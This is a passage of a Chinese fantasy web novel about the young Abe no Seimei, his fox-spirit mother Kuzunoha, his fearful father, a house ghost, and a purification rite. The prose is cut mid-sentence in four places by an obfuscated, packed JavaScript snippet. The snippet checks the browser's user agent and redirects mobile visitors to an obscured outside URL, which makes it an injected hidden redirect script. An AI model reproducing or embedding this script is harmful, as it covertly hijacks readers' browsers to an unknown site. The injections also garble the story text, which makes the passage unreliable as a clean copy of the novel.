《白狐公子》 1. 第一章:易相别 安倍晴明五岁的时候,他第一次见到了妖怪。 或许是一场宿命,从那天开始,他的命运就与妖鬼之物联系在了一起,再也剥离不开了。 说来大概没人会相信,他见到的第一只妖怪不是旁人,正是他的亲生母亲,葛叶。 那一天,对整个平安京的人们来说,并不是什么特别的日子。 既不是什么节日,也没有任何异兆,但是仅仅对于晴明而言,那一天所发生的事,几乎是完全改变了他的命运。 他所敬爱着的母亲,在他面前,或者说是只在他的眼中,变了个模样。 原本温婉的女人消失了,晴明的母亲,葛叶,变成了一只雪白色的大狐狸。 而那只狐狸似乎没发现什么不对劲,它朝他走了过来。 “晴明。”狐狸张开了它的尖嘴巴,用晴明熟悉的声音轻柔地唤晴明的名字。 他伸出手去摸了摸狐狸脸颊上柔软的毛,笑了。 他说:“母亲大人变成狐狸了。” 晴明一边笑,一边歪了歪脑袋,他年纪还小,不明白自己的话意味着什么,否则他就不会这样说了。 这一句话,让狐狸僵住了。 而他们身后,刚刚从房间里走出来的安倍益材也愣住了。 安倍益材,葛叶的丈夫,安倍晴明的父亲。 其实在他看来,这一幕没什么不正常的地方。 深爱的妻子正蹲下身子要去抱年幼的儿子,和平常没什么不一样的。 但是晴明怎么会无缘无故地说出那样一句话? “你……看见了?”这一瞬间,葛叶的表情似乎有点可怕,她死死地盯住了晴明的眼睛。 “嗯!”晴明没发觉什么不对劲,还很开心地踮起脚尖要去摸大狐狸的耳朵。 葛叶叹了口气,把头低了低让晴明摸得方便一点,她说:“果然。” “这是怎么回事?”安倍益材忍不住了,大步走了出来。 “和泉国,信太森林。”葛叶没看安倍益材的脸,她低声道:“还记得吗?” “这……当然。”安倍益材被葛叶问得一愣,但葛叶提起的那片森林是他绝不会忘记的,那是他和葛叶第一次见面的地方。 六年前,他去信太森林的神社参拜,无意中为救一只被猎人追捕的白狐而受了伤,然后就遇见了葛叶,葛叶为他包扎伤口,再后来…… 他们自然而然地相爱,就有了晴明。 “我就是你那天救下的白狐。”葛叶似乎低声念了句什么话,然后抬起头,直视安倍益材的眼睛。 ! 安倍益材猛然后退了一步。 他依然看不见妻子的狐形,但他看见了更骇人的东西。 葛叶的眼睛里,瞳孔消失了,完全变成了一片空寂的白色。 那完全是一双非人的眼睛! “罢了,这六年里,救命之恩也偿得清了。”葛叶看到了安倍益材的惊惧,长叹一声:“就当作是缘分已尽,从此,两不相见便是。” “唯一放心不下的……”葛叶低头看了看懵懵懂懂的幼子,面上现出犹豫之色。 她很想带走她的儿子,可是随她成了妖之后,又怎么样呢?一辈子都要被迫躲躲藏藏,逃避阴阳师的追捕…… 于是葛叶又用那双妖瞳盯住了安倍益材:“晴明也是你的儿子,我恳求你,无论如何,千万不要把他交到阴阳师手上。” 安倍益材发现自己在那双诡异的眼睛的注视下说不出任何拒绝的话来,他只能点了点头。 葛叶像是满意了,不再理会安倍益材,低下头去和晴明说话。 在晴明眼中,母亲则一直是白狐的模样,他好像很喜欢大狐狸柔顺温暖的毛发。 “你天生灵力,能平安顺遂在人世度过此生自然很好。”葛叶轻柔地摸了摸晴明的头发,继续说:“只是人心难测,你的血脉怕是终有一天会成为你最大的阻碍。” 白狐轻轻蹭了蹭晴明的脸,口吐人言:“晴明,你要记得,吾名葛叶,是化形为人的妖狐。若有一日,你受世人怨妒,无处可去的时候,不要忘了,要来森林找我,你的灵力会为你引路的。” 白狐尾巴低垂,四爪在地面上一按,纵身跃起,头也不回。 “母亲……大人?”晴明怔愣地望着葛叶离开的方向,然后疑惑地扭头去看父亲,像是期望父亲可以给他一个解答。 “……”安倍益材心中烦乱至极,任何一个男人在忽然得知和自己同床共枕了多年的女人竟是只狐狸的时候,大概都没办法冷静得下来。 就连晴明在他眼中也越来越像一只狐狸崽子。 他想起往日晴明显露出的,不符合他年纪的聪明狡黠,更是心烦意乱。 狐狸,不就是天生狡猾的吗? 这孩子半人半狐…… 究竟该算是人类呢?还是妖怪? 安倍益材此时满脑子都是平安京里流传的妖鬼害人的故事,他坐不住了。 妖鬼皆是以人为食,如果他把这个孩子养大了…… 若以后真的酿出祸端,岂不就是他的过错? 对了,阴阳师……如果把这个孩子交给阴阳师的话…… 安倍益材刚刚动了这个念头,立即就感到心脏一阵绞痛,痛得他腿一软摔倒在地,手死死地按住了心口,但这并不能让疼痛减少哪怕一分。 晴明被吓坏了,连忙跑过去看视,却被安倍益材狠狠地推到了一边。 葛叶…… 那只假扮成人的狐妖,一定是它对他下了恶咒! 想到这一节,安倍益材忙大叫道:“我不会把他送给阴阳师的!” 说来也怪,就在安倍益材喊出这句话后不久,他的心脏竟真的不疼了。 安倍益材喘着粗气从地上爬起来,心有余悸地揉了揉前胸,刚才的疼痛让他对葛叶异常愤恨,他没理会身边眼巴巴地望着自己的儿子,换好衣服快步走出了自家的宅邸。 他可从没答应过不去找阴阳师来对付葛叶,既然她敢下恶咒害他,那也不要怪他不顾念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460576|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昔日的情分了! 怒火扭曲了当年从猎人手中挽救白狐的温柔男人,一个为保护幼子而设下的咒印让他面目全非。 但当阴阳师向他询问那只妖狐的真名时,他又犹豫了。 据阴阳师所说,名字便是咒的一种,如果能够得知妖鬼的真名,任何略通阴阳道的人便都可以对它们下咒。 如果葛叶被人下了咒,她会怎么样? 阴阳师对妖大概是不会手下留情的。 安倍益材不由自主地忆起了平日里的相处,虽然葛叶对他隐瞒了自己是妖的事实,但她从来没有试图伤害过他。 这次她下咒也不过是要保护她的孩子而已。 而晴明同样也是他的儿子…… 安倍益材最后什么也没说,面对阴阳师探询的目光,狼狈地逃掉了,全然失去了他贵族的风度。 他漫无目的地在外面走着,不想回家,他不知道该怎样面对自己半人半狐的儿子。 即使理智知道这个孩子是最无辜的,但他依然不想见他。 半人半妖的怪物又要如何存于人世? 如果有一天他要吃人,那又该怎么办? “妖鬼伤人,就可以不问缘由、不问是非地将其诛杀吗?难道你们都认为这很公平?” 一个稍显高昂的声音吸引了安倍益材的注意力,他朝那边看了过去。 几个身着不同颜色狩衣的人似乎在争论着什么,他们泾渭分明地分成了两派,其中一边人多势众,而另一边只有区区两个人而已,其中一个还不过是个孩子,看样子像是刚刚受业的学生。 狩衣近些年已成了阴阳师的专用服式,很少有普通人再穿狩衣了。 看来那些人都是阴阳师,安倍益材想着刚才无意中听见的话,便悄悄靠了过去,躲在一根柱子后面偷听。 虽然很不合礼仪,但是他现在确实急需要了解阴阳师们对妖的看法。 他听见有人挖苦地说:“哦?那贺茂大人是认为我们该对害人的妖网开一面咯?以便于让它们继续伤人?” 贺茂! 安倍益材记得这个姓氏,前不久天皇为了试探阴阳师的占卜能力,将一串水晶珠子藏到了箱子里,命令一个名叫贺茂忠行的阴阳师为他占卜,而贺茂忠行不费吹灰之力就卜出了正确的结果。 听说天皇如今很信任贺茂忠行,时常叫他进宫觐见。 今天这么巧? 安倍益材又听见了那个声音,穿透力很强但并不显得激烈:“我并没有那样说。我的意思是,未必妖鬼都是恶灵,它们和我们一样,有善恶之分,不该一概而论的。” 妖鬼和人一样?安倍益材第一次听说这种论调,这种话放在以前,他会毫不犹豫地嗤之以鼻,但现在他愿意相信这样的说法。 就像垂死的人忽然抓住了一根稻草,即使看起来再不可靠,他也愿意一试。 他跌跌撞撞地回到了家里,并不知道他身后,那个提出“妖鬼与人无异”论点的阴阳师皱着眉头,瞥了他一眼。 2. 第二章:异类 自晴明看见自己母亲白狐本相的那天起,他所有的异于常人之处便开始纷纷展现了出来。 好在目前为止晴明还没做过什么太出格的事,总体而言,晴明的表现仍然和寻常的孩子没什么太大区别。 安倍益材暗自松了口气,或许晴明这孩子也并不十分像个妖怪。 但事实证明,安倍益材这口气松得太早了。 某日,安倍益材正要出门,晴明抱着把伞,那伞几乎和他一样高,跌跌撞撞地跑出来,喘着气,大声说:“父亲大人!带上伞吧,一会儿是要下雨的!” 当时晴空万里,所以安倍益材并没有把晴明的话放在心上,只当作是小孩子的胡话,摸了摸晴明的头发,没去接那把伞就出门去了。 可他没走出多远,冷风就刮了起来,紧接着下起了大雨倾盆。 类似的事发生了很多次,安倍益材不得不正视晴明的“预言”了。 这些“预言”有时也会出现错误,但那只是少数的情况,大多数时候,晴明的话都会成真。 虽然只不过是“今天会下雨”、或者“衣服的后裾会被人踩到”这类的、微不足道的小“预言”而已,但这显然不是一个正常的五岁孩子能做到的事。 安倍益材心中揣揣不安,但又不敢问,生怕他的儿子会给他什么骇人听闻的答案。 说来似乎有些叫人哭笑不得,安倍益材作为一个成年男人,居然会害怕自己的儿子。 然而,这还不过是晴明所展露出的冰山一角。 “它不喜欢吃这种鱼喔!” 当安倍益材陪着晴明在庭院里喂一只溜进来讨食的大狸花猫时,晴明忽然这样说着,并且把自己手里的鱼肉丢到了不远处的矮树丛里。 “晴明!不能这样浪费食物!”安倍益材语气并不很重地训斥了一句,起身正要去把鱼肉捡回来,却见一道姜黄色的影子掠过,鱼肉随即没了踪影。 “欸?这里也藏了只猫吗?”安倍益材弯下腰往树丛里张望,一阵动物的低吼声随即从那里面响了起来。 “不用怕嘛,父亲大人他没恶意的。”晴明盘膝坐在地上,一边说,一边从衣服里摸出了一块甜糕,捏碎放在手心,喂给了那只在他腿边不停蹭着脑袋的大狸花猫。 “还真胆小。”安倍益材笑了笑,转回身的时候正看见晴明拿着甜糕喂猫,连忙责备道:“晴明,你又在衣服里藏甜食!” “可是它说它喜欢这个味道啊。”晴明摊开手掌以方便猫把他手心里的碎屑舔干净,同时无辜地抬起头,解释说:“昨天我在院子里吃这个,它尝了一点,说很喜欢而且明天还要再来吃。所以我才带了一点给它。” “你在说什么啊?”安倍益材失笑:“你又听不懂它们说的话。” “能听懂呀。”晴明挠了挠大狸花猫的下巴,后者舒服地眯起了眼睛。 “……”还没等安倍益材想明白晴明这话到底是不是在开玩笑,忽然从矮树丛里传出了两声微弱的猫叫。 “你还想吃呀?”晴明抬头往发出声音的方向又看了一眼,说:“那就出来嘛,我父亲那里还有鱼,可以给你吃。” 晴明话音刚落,一只瘦小的姜黄色小猫竟真的试探性地从矮树丛里探出了脑袋。 “咦?”安倍益材一惊,不过他并不能确定这到底是巧合还是晴明的话确实起了作用。 安倍益材这一声惊呼吓得那只小猫闪电般又缩了回去。 “别怕嘛。”晴明想了想,低下头对那只堂而皇之躺在他腿上的狸花猫说:“你来告诉它吧,就说这边很安全,没什么可怕的。” 狸花猫懒洋洋地打了个呵欠,然后喵喵叫了几声。 这几声猫叫效果立竿见影,那只警惕的小猫飞快地从藏身之处窜出来,抓着安倍益材的衣服爬上去,叼起他手里的鱼肉就跑。 大狸花猫发出几声低低的咕噜,晴明笑了,赞同道:“是呀,是个没礼貌的小猫。” 安倍益材冷静了一会儿。 然后他问:“你是怎么做到的?晴明?” 晴明好不容易才把注意力从猫身上移开,转向他的父亲,态度很自然地解释道:“我是想,既然小猫不信任我们的话,叫它的同类去和它说大概会好一些。” “我不是问这个,我是说,”安倍益材耐着性子:“你是怎么做到和猫沟通的?” 晴明很疑惑地搔了搔鬓角,似乎觉得安倍益材问的这个问题很奇怪:“这不是很容易吗?就像我们可以沟通一样啊。” 说这话的时候,晴明的眼睛一眨不眨地盯着他的父亲,瞳孔黑白分明。 “这不一样!”安倍益材越发焦躁,声音也变高了:“正常人是不可能跟猫说话的!” 晴明怀里的大猫喵呜一声溜走了,而晴明像是被吓到了,茫然地看着父亲。 安倍益材觉得自己应该开诚布公地和晴明谈一次,他竭力使自己的声音听起来更平和一些:“你大概没意识到,晴明,正常——我是说普通人是不可能和猫聊天的。” “可我听得懂啊。”晴明迷惑地歪了歪脑袋,说:“又不是很难的事。” “但是这种事对我们来说很难,根本就没有人类听得懂动物的语言。”安倍益材陪着晴明坐下来,深深吸了一口气,仔细斟酌着词句:“这不是你该做的事,你不应该和猫说话,也不应该表现得好像你能听得懂,不仅如此,你还应该规避你身上所有与普通人不同之处。” 晴明听得似懂非懂,他眨了眨眼睛,问道:“可是,父亲大人,我觉得和猫说话就是一件很平常的事啊。” 小孩子的眼睛似乎总是显得瞳孔更大些,于是,当安倍益材与晴明对视的时候,他又记起了葛叶那双没有眼白、不似人类的眼睛,不禁打了个寒战。 他大概永远都没办法再忘记那双眼睛所带给他的恐惧了,这是人类面对未知所产生的本能。 安倍益材索性动用了作为父亲的威严:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460577|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管你是怎么做到那种事的,总之,以后都不准你再和任何动物说话。还有那些你自鸣得意的所谓‘预言’,我也不管你是从哪里得到那些消息的,从现在开始,我不准你再说任何与‘未来’有关的话。”安倍益材沉下脸:“你给我好好记住这一点,晴明!” 他知道他对晴明的态度有失公允,但是他又有什么办法呢?他一看到这个孩子,就会不受控制地想起葛叶的那张可怕的脸。 无论是葛叶还是这个本不该存在的孩子,他们都是异类啊。 这种异常体现在各个方面,根本不是安倍益材刻意无视就能忽略掉的。 “父亲大人?” 在晴明疑惑的目光中,安倍益材落荒而逃。 从那之后,安倍益材一直刻意躲着晴明,很少和他说话,生怕他又说出或做出什么惊人的事。 而晴明因为父亲的冷落,也渐渐变得沉默寡言,终日坐在自己家的庭院里,不知在想些什么。 不过他倒是很听安倍益材的话,没再和什么跑进家里来的小动物说过话,也没再做过什么令安倍益材感到不安的预言。 安倍益材时常在晴明看不见的地方暗中观察他的举动,时间拖得越久,他就越愧疚,毕竟这个孩子郁郁寡欢的样子是他一手造成的。 “怎么不出去和其他孩子玩呢?”这是安倍益材这些天以来,第一次心平气和地跟他说话。 “父亲大人!”晴明很惊喜地跳了起来,抱住了安倍益材的腿。 “出去玩玩吧,我可没有对你禁足,记得早点回来就可以了。”安倍益材摸了摸晴明的脑袋。 “他们不和我玩。”晴明眨着黑白分明的眼睛,控诉道:“因为上次我看到了一个头上长着角的男人,他们没看见,说我说谎骗人,然后就不和我玩了。” 安倍益材的笑容僵住了:“你说你看见了什么?人长着角?” “是呀。”晴明使劲点了点头,竖起两根手指在自己头上比划:“就是像这样弯曲着的角,那人好高呢,有这么高……”他踮着脚,高高举起一只手臂,却发现自己的身高根本不足以形容那个人的高度,他又原地蹦了两下。 “是吗?大概是你看错了吧?”安倍益材努力想让这件事情听起来更正常些:“可能是那个人带了面具吧?” “不是不是!”晴明认真地反驳道:“我仔细看过了,那两只角就是长在那个人头上的!” 安倍益材想起了以往坊间流传的妖鬼怪谈,鬼不就正是青面獠牙,头上生角的吗? 想到这里,安倍益材如坠冰窖,从头到脚凉了个彻底。 如果晴明只是说他看到了鬼,那也倒罢了,毕竟妖鬼作祟的时候,也没少被人看见它们的身形,但晴明刚才分明是说,只有他一个人看见了鬼,这才是真正可怕的事情。 能看到别人看不到的东西,这不就是异类吗? 而或许对于晴明而言,该说那些“东西”是他的同类才对。 3. 第三章:妖与鬼 自从那次关于“鬼”的谈话过后,安倍益材又接连数日不愿意和晴明多说话。他实在是怕了,他在阳界生活得好好儿的,并不想被迫了解任何有关于阴界的事。 尤其是从他自己儿子的口中。 但晴明并不明白父亲不肯理他的原因,还以为父亲是为他不去找朋友玩而生气,可是这附近的孩子都不愿意和他一起玩。 对此他也感到一筹莫展。 直到有一天,他在自己家里发现了一个他之前从没见过的小女孩。 那个小女孩看起来年纪比他大一些,穿着一身红色的和服,脸上泛出一层死人似的青白。 晴明发现她的时候,她正睡在他家里的储藏室里,像是已经在这里住了很久了,而储藏室时常有仆人进进出出,竟然从来都没有人发现过这个小女孩的存在。 不过晴明年纪尚小,意识不到任何不对劲的地方,他只知道这个小女孩是第一个不躲着他的、年龄相仿的孩子,而且还和他颇为投缘。 而他能看得见的、听得见的东西,这个小女孩也同样看得见、听得见。 这个发现让晴明喜出望外,立即拉着小女孩去找父亲,但不知为什么,父亲一看到他来,立即往后退了几步。 “你手里拿着什么?晴明?”安倍益材的声音有些抖,但脸上还竭力保持着平静。 晴明不明白父亲为什么这么问,他看了看站在他身边的小女孩,而小女孩也同样转过头,用纯黑色的瞳孔望着他,然后缓缓地、僵硬地笑了笑。 晴明像是受到了鼓励,大声说道:“这是我的朋友,她说,她叫座敷童子!” “……”安倍益材不知道自己该不该高兴,因为座敷童子是一种无害的鬼,经常住在它们喜欢的人家里,给人们带来福运。 任何一个头脑清醒的人如果得知自己家里来了一个座敷童子,都会很欢迎它的入住,而且还会想方设法地让它永远留下来。 但是如果这个“头脑清醒的人”家里还养着一个狐妖之子,那情况就大不一样了。 更何况这个狐妖之子现在正牵着一个正常人类根本不可能看得见的座敷童子,两个人,或者说是一妖一鬼,都站在他面前。 这就完全不是一件能让人高兴得起来的事了。 那个座敷童子似乎说了句什么,因为晴明偏过头去看了看他身边的位置,然后对着那团安倍益材眼中的空气点了点头。 “父亲大人!”晴明有些苦恼地问:“您说该取个什么名字比较好呀?” “……”安倍益材根本没听见刚才那个座敷童子说的话,取名字?给谁?给座敷童子吗? 安倍益材根本没心思考虑什么名字的问题,他正在想办法把这个座敷童子赶出家门,什么福不福运的都不重要了,他绝对不允许他的儿子在妖怪中间长大。 “我知道了!”晴明很高兴地大声叫了起来:“就叫‘明美子’好了,听起来就好像我的妹妹一样!” 安倍益材很敷衍地点了点头,反正不管叫什么名字,这个座敷童子都不可能留在他家里。 “明美子?”晴明试探性地问座敷童子:“你喜欢这个名字吗?” 不知座敷童子回答了什么,但接下来,安倍益材看到了…… 一个死尸般的女孩子突然出现在他面前,而他的儿子晴明正牵着那女孩子的手。 安倍益材不敢细看,只知道它脸色青白,穿着一身鲜艳的红色和服,比晴明要高一些。 这就是座敷童子?为什么他会突然看见它? “谢谢你,晴明。”座敷童子——现在该叫它明美子,低声道谢,声音有些沙哑。她说:“我从没见过我父亲,而我的母亲每天都哭个不停。后来,母亲带我走进了一片树林,说要一起去找父亲。而在那之后,我就死了——甚至没有人为我取过名字。” “等我再醒过来的时候,我就变成了这个样子。”明美子揪了揪自己身上的大红色和服,继续说道:“我希望能找到一个愿意收留我的家,也希望可以有一个属于自己的名字,而不是只有一个模糊的统称‘座敷童子’。不过,我更希望不要再有像我一样不幸的家庭出现,或许这就是我成为‘座敷童子’的原因。” “我可以……和你们住在一起吗?”明美子咬着嘴唇,小心翼翼地征求安倍益材的意见,如果不是它的模样太像死人,这一幕原本应该是很可爱的。 “为什么我能突然看见你?”安倍益材没回答她的问题,他看了一眼明美子的脸就赶快又移开了目光。 但明美子对于这件事似乎也很迷惑:“我也不知道,以前从来没人看到过我。但是好像我的能力变强了一些……”她看了看自己的手,似乎在衡量自己的力量大小。 “那你还能变回去吗?我的意思是,让我看不见你。”鬼大白天出现在他家里这种事,实在是太难让人接受了。 “应该可以,我试一下……”明美子低声念了句什么话,然后她就像刚才突然出现一样,又突然消失了。 看不见的东西就可以当作它不存在,安倍益材舒了口气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460578|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “能让我住下来吗?我会带来福运,我不会捣乱的!”明美子的声音再一次响起,语气很诚恳:“我真的很喜欢这座房子,好像有什么东西吸引着我一样。” “父亲大人!”晴明也跟着一起说:“让她住下来嘛,可以把她当作是我的妹妹嘛!” 别胡闹,人家比你还大呢。安倍益材很想这样说,但现在他真的没有开玩笑的心情。 他同情这个座敷童子的命运,但是,真的要让晴明从此和一只鬼生活在一起吗? 他从来都不是个铁石心肠的人,否则当年也不会冒险去救葛叶了。 “你是怎么死的?”安倍益材深深吸了口气,又问:“你母亲呢?” “我不记得了。”明美子摇摇头,说:“我变成座敷童子之后,生前的很多事情就都记不太清楚了,只知道好像……很疼很疼。”她打了个寒噤,似乎那种痛苦已经铭刻在了灵魂之中。 “如果我说‘不允许你住在这里’,你会保证离开这里,再也不回来吗?” 安倍益材这样一说,晴明顿时急了:“父亲大人!” 安倍益材没理他。 会应他的是长久的沉默。 就在安倍益材即将失去耐心的时候,脸色青白的鬼——明美子又突然显露了身形,似乎有些不好意思地低下了头,小声说:“我没办法保证。” “不知道为什么,这座房子给我的吸引力太强了,即使大人您不允许我继续在这里住,恐怕我也不会真正离开的。”明美子又说,态度非常诚恳:“事实上,我已经在这里住了大约五六年了。” 安倍益材长叹一声,跌坐在地,半晌才说:“既然这样,又何必多此一举问我的意见,想住就住吧。” “我只是觉得,既然被发现了,还是应该和屋主知会一声。”明美子偏过头去看了看晴明的小脸:“这是个奇特的孩子,很少有人看得见我们,我想,他一定有些特异之处。” “这一点不用你说!”安倍益材忽然发起了脾气,把晴明和明美子统统赶出了自己的房间:“都给我出去!除了叫外人看见之外,随便你们做什么!” 两个孩子都离开之后,安倍益材花了好半天才冷静下来,晴明是他的儿子,这也倒罢了,但他真的要和一只鬼一起生活在同一个屋檐下吗? 他忽然想起座敷童子刚才说的“房子对它有很强的吸引力”,那是不是意味着…… 他的家出于某种原因,正在不断地吸引鬼来入住? 安倍益材冒出了一身冷汗。 4. 第四章:祓禊 自从安倍益材知道了自己家的房子会吸引鬼之后,他就一直想找个阴阳师来净宅,但又担心晴明半人半狐的身份被阴阳师察觉,这件事就只能这样一直拖着。 不管怎么说,晴明都是他的儿子,如果忽略掉他身上的所有异于常人之处的话,毫无疑问,晴明是个很好的孩子。 如今晴明年岁渐长,也开始明白自己和常人的不同之处,并在安倍益材的要求下,学会了掩盖自己的“异常”。 他不再去提那些预言、也不再对人说自己看到了什么青面獠牙的怪人,更不会再和任何动物说话了。 而相应的,他也越来越沉默内敛,只有回到家里才肯和明美子说几句话。 安倍益材不知道这样对晴明到底是不是好事,但至少有一件事是可以确定的,那就是:这样“正常”的晴明是不会被阴阳师当作妖怪抓去的。 某一天,安倍益材睡到半夜,忽然隐隐约约听到门外传来吱吱呀呀的声音,像是有人踩在地板上蹑手蹑脚地走路,他一下子惊醒过来,睡意全无。 有贼?这是安倍益材冒出的第一个念头,于是他悄悄披衣起床,顺手拿上了屋子里摆放着的太刀。 庭院里坐着两个孩子,一起抬着头仰望天空,小声说着话。 却是晴明和那个座敷童子,明美子。 安倍益材躲起来听了听他们的对话,他们似乎一直在聊星象和预言,还有一些安倍益材听不懂的话。 看他们的样子,显然已经不止一次做过这样的事了。 “你们在做什么?”安倍益材从藏身之处走出来,小声责问,因为他怕吵醒了睡在这附近的仆人,他没法想象这种事如果被仆人发现了…… 晴明和座敷童子冷不防被吓了一跳,同时惊讶地转过了头。 在月光的映照之下,晴明的脸就像座敷童子一样灰白,看起来也像是一只鬼。安倍益材因为自己的联想而打了个哆嗦。 “晚上不睡觉跑到这里看星星?”安倍益材厉声道:“我告诉过你,这种事情……” “也是不被允许的是吗?”晴明低声说,他从地上站了起来,从安倍益材身边走过:“我不会再这样做了。” 明美子也跟着站了起来,默默地看着晴明离开的背影。 从那之后,安倍益材再也没见到过晴明悄悄溜出去看星星。 这一年,晴明八岁,长高了些许,和明美子站在一起的时候,他已经比她高了。 明美子还是和以前一样住在储藏室里,平时会隐匿身形,只有在她与晴明独处的时候才会露面,因此,她的存在从没被人发现过。 这让安倍益材宽心不少,这个座敷童子似乎格外善解人意,并不像传言中的那样小孩子心性。 而家里是否真的出现了其他被房子吸引来的鬼,这一点安倍益材不知道,也完全不想知道,反正这些年来没有发生任何妖鬼作祟的事件,安倍益材本人又看不见鬼,对他来说,只要影响不到他的生活,那就没什么关系了。 平安京里妖鬼横生,不过这些都波及不到安倍益材身上。 在他的刻意掩盖下,一切都很好。 但风浪是谁都遏止不住的东西,一味地拦阻它只会让它愈演愈烈。 堵不如疏,很简单的道理。 大家都懂,可谁又敢放手一搏呢? 这些年天皇似乎格外信重阴阳师贺茂忠行,不仅时常命他觐见占卜,还把主持祓禊仪式的重任也交给了他。 祓禊仪式,即为驱除妖鬼的仪式,不过与通常的驱鬼不同,祓禊仪式是为妖鬼提供祭品,由阴阳师施展阴阳术召唤妖鬼们出现,若恶鬼肯吃下祭品,那就代表它们与阴阳师达成了某种契约,接受人类的供奉,同时不再作祟害人;而如果吃下祭品的不是恶灵,它们则将承诺护佑、帮助人类。 通常而言,妖鬼更愿意听从能力更强的阴阳师的召唤,所以每一个有能力主持祓禊仪式的阴阳师都是当时公认最强大的阴阳师。 举行祓禊仪式是平安京里的大事,不仅贵族和官员们会去观看仪式,而且天皇有兴致的时候也同样会去,每当这个时候,阴阳师总会更加卖力,可看性也更强一些。 安倍益材自然也不会错过这种盛会,即使他并不喜欢和妖鬼扯上关系。 而且他带上了晴明,如果有机会让他重新选择一次,他一定会后悔这个决定的。 贺茂忠行此人年纪似乎比安倍益材稍大一些,手里捏着柄五骨蝙蝠扇,显得很是儒雅,当天穿了一身浅蓝色的狩衣,身边还带着个同样身穿狩衣、捧着一把修长太刀的孩子。 他没像以前主持仪式的阴阳师那样夸张地狂舞,而是低声吟诵着一些谁都听不懂的咒语,最后,他摸出一张画好的符纸,夹在手指之间,低叱一声,符纸应声烧了起来。 于此同时,在场的所有人都感觉到了风。 与平常的风不同,这阵风仿佛冷到了骨子里,即使他们裹紧衣服也阻挡不了这种冷意。 贺茂忠行表现得很沉静,他从跟随他的那个孩子手里拔出太刀,在自己手心里一抹,鲜血瞬间把刀锋染成了殷红色。 就在贺茂忠行划破手掌的一瞬间,那种阴冷的感觉消失了,而风似乎全部围绕在了贺茂忠行身边。 风是看不见也摸不着的东西,但所有人此刻都莫名地觉得,那阵阴风围住了那个沉稳如山的阴阳师。 这很难用语言解释,就像妖鬼的举动常常无法用人类的思维方式来理解一样。 总之,这是另一个世界的事,那是一个不能用任何现有的知识和常识来解释、只能利用直觉来判断的世界。 贺茂忠行高高举起那把染血的太刀,口中继续念念有词,然后,他把刀上的血涂抹到了一边早已准备好的祭品上。 他退到了一边,收刀回鞘,递还给跟随他的那个孩子,然后才慢悠悠地包裹住手心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460579|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的刀伤。 贺茂忠行的风格和之前的那些阴阳师相比相差太多了,他几乎没有任何花哨的动作,更不像是一场表演,仿佛真的有无数妖鬼应召而来,接受了他所提出的、庇佑人类的条件一般。 这场仪式上,天皇也在场,他坐在帷幔后面,观看这场妖鬼的饕餮盛宴。 而看贺茂忠行满不在乎的模样,好像不论天皇是不是在场,都完全不会影响他在仪式上的表现似的。 贵族们议论纷纷,猜测着天皇对待这场仪式的态度。 而晴明瞪大了眼睛,盯着那些在普通人眼里,毫无异状的贡品。 跟着贺茂忠行的那个穿着狩衣的孩子也在做同样的事,谁也不知道他们的眼睛究竟看得到什么。 但有一点是可以确定的,那就是:那绝对不是任何一个普通人类愿意看到的东西。 天皇清了清嗓子,正要说话,就在这时候,一只供奉用的苹果在众目睽睽之下自己飞了起来,引发了一阵惊呼。 这件事显然超出了贺茂忠行的预判,他的脸上终于出现了一丝惊讶的神情,不过他并没有出手阻止那只飞在空中的苹果。 那只苹果径直穿过人群,所过之处,大家纷纷避让开来,而那只苹果好像有明确的目标似的,落到了安倍父子身边。 更确切地说,是落到了晴明身边。 “父亲大人,这……”在晴明眼中,一只长相狰狞的小鬼举着那只苹果,努力地试图递到他手里。如果没看错的话,它的脸上似乎带着一丝……讨好似的表情? 晴明拿不准主意该不该去接那只苹果,他把求助的目光投向了安倍益材。 安倍益材:“……” 为什么会出这种事?偏偏还是在天皇面前,如果天皇下令彻查此事的话…… 晴明的秘密就瞒不住了。 安倍益材慌了,上百双眼睛都在看着这边,恐怕这一次,不仅他保不住晴明,就连他也自身难保。 最后还是贺茂忠行打破了这个僵局。 贺茂忠行鬼魅似的从贵族和官员中间穿行而过,替晴明接过了苹果,他微微低下头,居高临下地注视着晴明的眼睛。 